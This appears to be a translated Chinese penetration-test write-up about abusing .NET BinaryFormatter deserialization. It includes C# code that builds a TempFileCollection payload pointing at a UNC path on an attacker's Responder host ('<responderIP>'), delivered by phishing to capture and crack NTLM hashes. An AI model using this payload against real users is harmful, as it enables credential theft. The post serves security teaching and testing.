利用.NET反序列化漏洞获取NTLM Hashes

Posted 2021-04-18 网络安全实验室

在最近的一次渗透测试中，我们遇到了一个用来获取管理员凭据的有趣技术（当然，NTLM散列已被破解）。这次攻击并没有什么特别新的东西，它需要特殊的条件才能实现，但我们认为这足让我们把它分享出来。在mediaservice.net博客上Gianluca Baldi最近发布的一篇博客文章中，也描述了非常类似的技术。我们发现我们能够做一些非常相似的事情，但针对利用的不是XXE而是.net反序列化漏洞。

当用户加载恶意文件时会触发此特定漏洞，因此需要用户交互，但在网络中可访问的应用程序中可能存在类似的漏洞。 这完全取决于数据的反序列化位置。

反序列化基础

反序列化是任何执行大量应用程序或Web应用程序安全测试的人都应该熟悉的东西。通常在Java环境中讨论，反序列化漏洞是许多应用程序（包括.NET应用程序）中都有可能会出现的漏洞。

对于那些不太熟悉的人来说，序列化就是将一个对象转换成一个字节流的过程，这样就可以轻松保存在磁盘文件或数据库中。反序列化是序列化的逆过程；通常这可以用于两个应用程序（可能位于不同主机上）间通信的RPC。当应用程序的状态需要保存时（这也很常见），序列化的数据会被写入磁盘并在之后进行恢复。

我们可以通过下面的例子看到这一点。

using System;using System.IO;using System.Runtime.Serialization.Formatters.Binary;namespace serialisationTest1{
    [Serializable]    class MyClass
    {        private int x = 1;        private int y = 2;        public string s = "Hello World";        public MyClass() { Console.WriteLine("In Constructor"); }        public void Method() { Console.WriteLine("Method()"); }        public void Dispose()        {
            Console.WriteLine("Disposing Object");
        }
    }    class Program
    {        static void Main(string[] args)        {
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            MyClass myClass = new MyClass();            using (FileStream fileStream = File.OpenWrite("save"))
            {
                binaryFormatter.Serialize(fileStream, myClass);
            }
        }
    }
}

这将创建一个文件并保存，我们可以在文本编辑器中查看。

当应用程序对不可信数据进行反序列化时，有时可能会被攻击者所利用。如果我们看一下上面的反序列化的对象，很明显，虽然我们不能直接向应用程序注入代码，但是如果反序列化的对象在它的构造函数中或在它的dispose方法中，我们或许能够对其进行利用（即恶意的）- 当.NET对象被销毁时，垃圾回收器调用的方法。这是因为当进行反序列化尝试时，实际上该对象确实被创建并销毁，即使该对象由于类型错误而无法使用。

漏洞

在测试中，我们发现桌面安装了.NET应用程序。尽管我们并不了解应用程序的性质，但我们可以肯定的是它具有“保存”功能。为了保存，应用程序用一个特定的对象并将其序列化到磁盘。之后它可以通过相反的方式加载这个保存的对象并反序列化它。

漏洞代码类似于下面：

using System;using System.IO;using System.Runtime.Serialization.Formatters.Binary;namespace serialisationTest1{    class Program
    {        static void Main(string[] args)        {            string saveFile = "save";
            MyClass myClass = null;
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            FileStream fileStream = File.OpenRead(saveFile);            try {
                Object o = binaryFormatter.Deserialize(fileStream);
                myClass = (MyClass)o;
                myClass.Method();
            }            catch (Exception) { }
        }
    }
}

如前所述，在这种特殊情况下，我们需要找到一个对象，它在创建或销毁时会发挥一些有用的作用。

System.CodeDom.Compiler.TempFileCollection是.NET中的一个对象，用于删除使用AddFile方法添加的文件。这已通过在特定位置(d:\file1)中创建文件，并将序列化的TempFileCollection用作应用程序“保存”文件得到证实。反序列化的对象是使用以下代码片段创建的：

static void Main(string[] args){
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    TempFileCollection tempFileCollection = new TempFileCollection();
    tempFileCollection.AddFile("d:\\test",false);    using (FileStream fileStream = File.OpenWrite("save"))
    {
    binaryFormatter.Serialize(fileStream, tempFileCollection);
    }
}

当我们加载保存文件时，应用程序反序列化确实删除了测试文件。这是一个很好的PoC，那么我们能再进一步吗？

获取凭据

此时，我们有一个应用程序存在一个反序列化漏洞，当打开一个保存文件时会触发一个反序列化漏洞，并且一个可以反序列化的对象会删除我们可以指定的文件。

如果从UNC路径 (i.e. \\host\file)中读取文件，Windows将尝试使用服务器进行身份验证。如果我们将已删除的文件更改为运行Responder的服务器上的UNC路径，我们将能够捕获NTLM握手并尝试破解密码。

下面的.net代码生成我们的payload：

static public void MakeObject(){
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    TempFileCollection tempFileCollection = new TempFileCollection();
    tempFileCollection.AddFile("\\\\<responderIP>\\test", false);    using (FileStream fileStream = File.OpenWrite("save"))
    {
    binaryFormatter.Serialize(fileStream, tempFileCollection);
    }
}

然后，我们运行Responder，将文件发送给用户（通过网络钓鱼攻击）并等待。不一会儿我们就获取到了哈希，我们可以用于破解。

基于我们强大的字典，以及目标用户脆弱的密码策略，没花多久时间我们便成功破解出了密码。

*参考来源：digitalinterruption，FB小编 secist 编译，转载请注明来自FreeBuf.COM